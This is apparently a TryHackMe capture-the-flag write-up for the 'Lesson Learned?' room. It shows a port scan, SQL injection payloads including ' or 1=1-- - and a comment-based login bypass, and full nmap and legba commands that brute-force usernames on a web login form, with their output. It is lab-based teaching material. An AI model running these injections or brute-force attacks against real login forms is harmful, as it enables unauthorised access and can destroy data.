Information
Room#
- Name: Lesson Learned?
- Profile: tryhackme.com
- Difficulty: Easy
- Description: Have you learned your lesson?
Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
sudo pacman -S nmap legba
Network reconnaissance#
Let's add a hostname to this machine.
➜ grep lessonlearned /etc/hosts
10.10.89.15 lessonlearned.thm
Identify port and services with nmap:
# Nmap 7.97 scan initiated Sun Jul 20 19:03:53 2025 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap lessonlearned.thm
Nmap scan report for lessonlearned.thm (10.10.89.15)
Host is up, received echo-reply ttl 63 (0.069s latency).
Not shown: 65244 closed tcp ports (reset), 289 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 2e:54:89:ae:f7:91:4e:33:6e:10:89:53:9c:f5:92:db (RSA)
| 256 dd:2c:ca:fc:b7:65:14:d4:88:a3:6e:55:71:65:f7:2f (ECDSA)
|_ 256 2b:c2:d8:1b:f4:7b:e5:78:53:56:01:9a:83:f3:79:81 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.54 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Lesson Learned?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 20 19:04:33 2025 -- 1 IP address (1 host up) scanned in 40.21 seconds
The ssh server is probably there just here for the box conception.
Web reconnaissance#
The box description said:
Treat this box as if it were a real target and not a CTF.
Get past the login screen and you will find the flag. There are no rabbit holes, no hidden files, just a login page and a flag. Good luck!
So there is no need for fuzzing, let's attack the login form directly.
Injecting a single quote does nothing in particular but injecting ' or 1=1-- -
in the username returns a big red message, teaching you a lesson…
Oops! It looks like you injected an OR 1=1 or similar into the username field. This wouldn't have bypassed the login because every row in the users table was returned, and the login check only proceeds if one row matches the query.
However, your injection also made it into a DELETE statement, and now the flag is gone. Like, completely gone. You need to reset the box to restore it, sorry.
OR 1=1 is dangerous and should almost never be used for precisely this reason. Not even SQLmap uses OR unless you set --risk=3 (the maximum). Be better. Be like SQLmap.
Lesson learned?
P.S. maybe there is less destructive way to bypass the login...
After resetting the machine, injecting ' -- -
in the username or password always returns Invalid username and password.
.
But if we pay attention to the message, it's Invalid username AND password
not Invalid username OR password
. So we may start by brute-forcing a correct username and see if we get a different error message.
Web form brute-force experiments#
For brute-forcing a web form, I could have used one of the classic: hydra, medusa, burp suite, wfuzz or even ffuf.
- hydra: works well but I don't like the syntax much
- medusa: works well, has a nice range of protocol supported, bit is quite limited, it's impossible to apply advanced filters (response time, output regexp, output size, etc.)
- burp suite: heavy (especially in a VM), doesn't like heavy wordlist, changing wordlist is long and requires a lot off clicks, not a CLI
- wfuzz: unmaintained for years (since 2020), I don't like the output
- ffuf: nice, can do anything, but it's not designed for that, with ffuf it's easy when it's a classic user/pass POST form but can't do anything if the form is handled via JS or there are multi-steps stuff etc. So I want to see if I can find something smart. Also, ffuf works only for HTTP, like hydra I'd like something multi-protocol, also working for ssh, ftp and so on.
Some once famous tools like Nozzlr, BruteX are abandoned. I'd want to use something maintained.
I wanted to test ncrack developed by the nmap team but they abandoned it in favor of nmap LUA scripts. So I'll test the nmap scripts, they are really underrated.
Legba seems smart, so I'll test it too.
Nmap script#
To list nmap scripts, the easiest way is to use find, for example to list brute-force ones:
➜ find /usr/share/nmap/scripts -type f -name '*brute*'
/usr/share/nmap/scripts/oracle-sid-brute.nse
/usr/share/nmap/scripts/http-joomla-brute.nse
/usr/share/nmap/scripts/socks-brute.nse
/usr/share/nmap/scripts/domcon-brute.nse
/usr/share/nmap/scripts/cics-user-brute.nse
/usr/share/nmap/scripts/http-proxy-brute.nse
/usr/share/nmap/scripts/ldap-brute.nse
/usr/share/nmap/scripts/http-brute.nse
/usr/share/nmap/scripts/irc-brute.nse
/usr/share/nmap/scripts/mikrotik-routeros-username-brute.nse
/usr/share/nmap/scripts/nessus-brute.nse
/usr/share/nmap/scripts/sip-brute.nse
/usr/share/nmap/scripts/ajp-brute.nse
/usr/share/nmap/scripts/http-wordpress-brute.nse
/usr/share/nmap/scripts/nje-pass-brute.nse
/usr/share/nmap/scripts/nessus-xmlrpc-brute.nse
/usr/share/nmap/scripts/cassandra-brute.nse
/usr/share/nmap/scripts/http-form-brute.nse
/usr/share/nmap/scripts/vmauthd-brute.nse
/usr/share/nmap/scripts/imap-brute.nse
/usr/share/nmap/scripts/rlogin-brute.nse
/usr/share/nmap/scripts/backorifice-brute.nse
[…]
The ones for HTTP:
➜ find /usr/share/nmap/scripts -type f -name '*http*brute*'
/usr/share/nmap/scripts/http-joomla-brute.nse
/usr/share/nmap/scripts/http-proxy-brute.nse
/usr/share/nmap/scripts/http-brute.nse
/usr/share/nmap/scripts/http-wordpress-brute.nse
/usr/share/nmap/scripts/http-form-brute.nse
/usr/share/nmap/scripts/http-iis-short-name-brute.nse
Note http-brute
is for HTTP basic auth (or digest, NTLM). For web form, use http-form-brute
.
To get the documentation for that script, just use --script-help
argument.
➜ nmap --script-help http-form-brute
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-20 20:12 +0200
http-form-brute
Categories: intrusive brute
https://nmap.org/nsedoc/scripts/http-form-brute.html
Performs brute force password auditing against http form-based authentication.
This script uses the unpwdb and brute libraries to perform password
guessing. Any successful guesses are stored in the nmap registry, using
the creds library, for other scripts to use.
The script automatically attempts to discover the form method, action, and
field names to use in order to perform password guessing. (Use argument
path to specify the page where the form resides.) If it fails doing so
the form components can be supplied using arguments method, path, uservar,
and passvar. The same arguments can be used to selectively override
the detection outcome.
The script contains a small database of known web apps' form information. This
improves form detection and also allows for form mangling and custom success
detection functions. If the script arguments aren't expressive enough, users
are encouraged to edit the database to fit.
After attempting to authenticate using a HTTP GET or POST request the script
analyzes the response and attempts to determine whether authentication was
successful or not. The script analyzes this by checking the response using
the following rules:
1. If the response was empty the authentication was successful.
2. If the onsuccess argument was provided then the authentication either
succeeded or failed depending on whether the response body contained
the message/pattern passed in the onsuccess argument.
3. If no onsuccess argument was passed, and if the onfailure argument
was provided then the authentication either succeeded or failed
depending on whether the response body does not contain
the message/pattern passed in the onfailure argument.
4. If neither the onsuccess nor onfailure argument was passed and the
response contains a form field named the same as the submitted
password parameter then the authentication failed.
5. Authentication was successful.
Then scripts' arguments are passed with --script-args=
.
Note that auto-detection should work fine on an easy case like this one but I'll use explicitly all arguments manually for learning purpose.
➜ nmap --script http-form-brute \
--script-args \
"http-form-brute.path='/',
http-form-brute.onfailure='Invalid username and password.',
http-form-brute.passvar=password,
http-form-brute.uservar=username,
http-form-brute.method=POST,
userdb=/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt,
passdb=pass.txt,
unpwdb.timelimit=30s,
brute.useraspass=false" \
-p 80 \
lessonlearned.thm
[…]
PORT STATE SERVICE
80/tcp open http
| http-form-brute:
| Accounts:
| martin:noraj - Valid credentials
| patrick:noraj - Valid credentials
|_ Statistics: Performed 133 guesses in 30 seconds, average tps: 4.5
Note: pass.txt
contains just one random password since it's not possible to specify a fixed password but only a password file.
Let's try with everything by default to see if autodetection works.
➜ nmap --script http-form-brute \
-p 80 \
lessonlearned.thm
[…]
PORT STATE SERVICE
80/tcp open http
| http-form-brute:
| Accounts: No valid accounts found
| Statistics: Performed 504 guesses in 148 seconds, average tps: 4.3
|_ ERROR: The service seems to have failed or is heavily firewalled...
The attack worked but found nothing, it's because the default userlist /usr/share/nmap/nselib/data/usernames.lst
is very short and does not contain any valid username:
root
admin
administrator
webadmin
sysadmin
netadmin
guest
user
web
test
To verify the theory, let's just specify a user list:
➜ nmap --script http-form-brute \
--script-args "userdb=/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt" \
-p 80 \
lessonlearned.thm
[…]
PORT STATE SERVICE
80/tcp open http
| http-form-brute:
| Accounts: No valid accounts found
| Statistics: Performed 257 guesses in 89 seconds, average tps: 3.3
|_ ERROR: The service seems to have failed or is heavily firewalled...
Nop, maybe we need to specify the error message too?
➜ nmap --script http-form-brute \
--script-args \
"userdb=/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt,
http-form-brute.onfailure='Invalid username and password.'" \
-p 80 \
lessonlearned.thm
[…]
PORT STATE SERVICE
80/tcp open http
| http-form-brute:
| Accounts:
| martin:martin - Valid credentials
| marcus:marcus - Valid credentials
| stuart:stuart - Valid credentials
| patrick:patrick - Valid credentials
| kelly:kelly - Valid credentials
| Statistics: Performed 427 guesses in 155 seconds, average tps: 3.3
|_ ERROR: The service seems to have failed or is heavily firewalled...
It's powerful, the autodetection is working well but for complex cases the syntax is very heavy. Also, the output is not instantly updated, you need to wait for the full attack to finish to see the results.
Legba#
Let's read the HTTP page of the wiki.
➜ legba http \
-U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
-P noraj \
-T http://lessonlearned.thm/ \
--http-method POST \
--http-failure-string 'Invalid username and password.' \
--http-payload 'username={USERNAME}&password={PASSWORD}' \
-Q
legba v0.11.0
[INFO ] target: http://lessonlearned.thm/
[INFO ] username -> wordlist /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
[INFO ] password -> string 'noraj'
[INFO ] [2025-07-20 21:36:46] (http) <http://lessonlearned.thm/> username=martin password=noraj
[INFO ] [2025-07-20 21:36:46] (http) <http://lessonlearned.thm/> username=patrick password=noraj
[INFO ] [2025-07-20 21:36:48] (http) <http://lessonlearned.thm/> username=stuart password=noraj
[INFO ] [2025-07-20 21:36:48] (http) <http://lessonlearned.thm/> username=marcus password=noraj
[INFO ] [2025-07-20 21:36:53] (http) <http://lessonlearned.thm/> username=kelly password=noraj
[INFO ] [2025-07-20 21:36:57] (http) <http://lessonlearned.thm/> username=arnold password=noraj
[INFO ] [2025-07-20 21:36:58] (http) <http://lessonlearned.thm/> username=Martin password=noraj
[INFO ] [2025-07-20 21:37:00] (http) <http://lessonlearned.thm/> username=karen password=noraj
[INFO ] [2025-07-20 21:37:04] (http) <http://lessonlearned.thm/> username=Patrick password=noraj
It's exactly what I looked for:
- the syntax is nice
- options are powerful
- username and password arguments can be string, files, glob expressions, etc.
- targets can be one, several, ranges, file, etc.
- options to manage anti-CSRF
- several output formats
- (less nice is that success or failure message can be only a string and not a regexp)
- easy to use without tons of documentation reading
- many protocols
- perform well
- can create your own recipes e.g. a bruteforce for a specific CMS form
The test is conclusive, legba will be my new go to tool for bruteforcing.
Let's get back to the challenge.
SQL injection#
So now that we know a few valid username, we can try to authenticate with whatever password and observe the output message.
Indeed, this time, the error is just Invalid password.
.
Let's try to inject marcus' -- -
to see if we can authenticate as marcus account.
We obtain the flag, and the following teaching message:
Well done! You bypassed the login without deleting the flag!
If you're confused by this message, you probably didn't even try an SQL injection using something like OR 1=1. Good for you, you didn't need to learn the lesson.
For everyone else who had to reset the box...lesson learned?
Using OR 1=1 is risky and should rarely be used in real world engagements. Since it loads all rows of the table, it may not even bypass the login, if the login expects only 1 row to be returned. Loading all rows of a table can also cause performance issues on the database. However, the real danger of OR 1=1 is when it ends up in either an UPDATE or DELETE statement, since it will cause the modification or deletion of every row.
For example, consider that after logging a user in, the application re-uses the username input to update a user's login status: UPDATE users SET online=1 WHERE username='
'; A successful injection of OR 1=1 here would cause every user to appear online. A similar DELETE statement, possibly to delete prior session data, could wipe session data for all users of the application.
Consider using AND 1=1 as an alternative, with a valid input (in this case a valid username) to test / confirm SQL injection.